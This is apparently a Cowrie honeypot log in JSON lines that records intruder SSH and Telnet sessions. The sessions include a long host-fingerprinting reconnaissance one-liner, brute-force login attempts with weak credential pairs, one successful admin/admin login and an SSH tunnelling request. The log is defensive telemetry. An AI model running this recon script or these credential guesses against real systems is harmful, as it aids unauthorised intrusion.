{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.132225Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.134997Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.138263Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.141105Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.144766Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.147388Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.150301Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.153340Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.157058Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.160767Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.253816Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:11.338664Z","src_ip":"91.92.40.4","session":"af4665574ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":58374,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb541bb30c44","protocol":"ssh","message":"New connection: 43.160.200.19:58374 (159.203.135.109:22) [session: fb541bb30c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:14.100837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:14.104940Z","src_ip":"43.160.200.19","session":"fb541bb30c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:14.341781Z","src_ip":"43.160.200.19","session":"fb541bb30c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777","message":"login attempt [root/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:15.325014Z","src_ip":"43.160.200.19","session":"fb541bb30c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:16.565167Z","src_ip":"43.160.200.19","session":"fb541bb30c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":47818,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1210d69b5e","protocol":"ssh","message":"New connection: 14.177.234.24:47818 (10.17.0.5:22) [session: 1a1210d69b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:26.615854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:26.619708Z","src_ip":"14.177.234.24","session":"1a1210d69b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:26.867456Z","src_ip":"14.177.234.24","session":"1a1210d69b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc123qwe","message":"login attempt [root/asdzxc123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:27.875216Z","src_ip":"14.177.234.24","session":"1a1210d69b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:29.123375Z","src_ip":"14.177.234.24","session":"1a1210d69b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba9a029117e","protocol":"telnet","message":"New connection: 170.64.224.25:58096 (159.203.135.109:23) [session: 3ba9a029117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:31.962482Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52860,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fd2f2d3d3ef","protocol":"ssh","message":"New connection: 160.187.174.22:52860 (159.203.135.109:22) [session: 4fd2f2d3d3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:36.430064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:36.434580Z","src_ip":"160.187.174.22","session":"4fd2f2d3d3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:36.683093Z","src_ip":"160.187.174.22","session":"4fd2f2d3d3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:37.490953Z","src_ip":"160.187.174.22","session":"4fd2f2d3d3ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:38.742341Z","src_ip":"160.187.174.22","session":"4fd2f2d3d3ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.54939556121826,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:39.062101Z","src_ip":"170.64.224.25","session":"5bf45e1b5e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a137fee7bd2","protocol":"telnet","message":"New connection: 170.64.224.25:58062 (159.203.135.109:23) [session: 1a137fee7bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:04:52.167020Z"}
{"eventid":"cowrie.session.closed","duration":30.926963090896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:02.889314Z","src_ip":"170.64.224.25","session":"3ba9a029117e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.444965839385986,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:03.611862Z","src_ip":"170.64.224.25","session":"1a137fee7bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35958,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74c1e703797","protocol":"ssh","message":"New connection: 160.187.174.22:35958 (159.203.135.109:22) [session: e74c1e703797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:06.285676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:06.291804Z","src_ip":"160.187.174.22","session":"e74c1e703797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:06.530517Z","src_ip":"160.187.174.22","session":"e74c1e703797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:07.459660Z","src_ip":"160.187.174.22","session":"e74c1e703797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:08.693561Z","src_ip":"160.187.174.22","session":"e74c1e703797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":11320,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb352e2d0b2","protocol":"ssh","message":"New connection: 176.53.159.196:11320 (10.17.0.5:22) [session: afb352e2d0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:17.861614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:17.867078Z","src_ip":"176.53.159.196","session":"afb352e2d0b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:17.960031Z","src_ip":"176.53.159.196","session":"afb352e2d0b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:18.343154Z","src_ip":"176.53.159.196","session":"afb352e2d0b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:18.442150Z","session":"afb352e2d0b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:05:18.540510Z","src_ip":"176.53.159.196","session":"afb352e2d0b2","protocol":"ssh"}
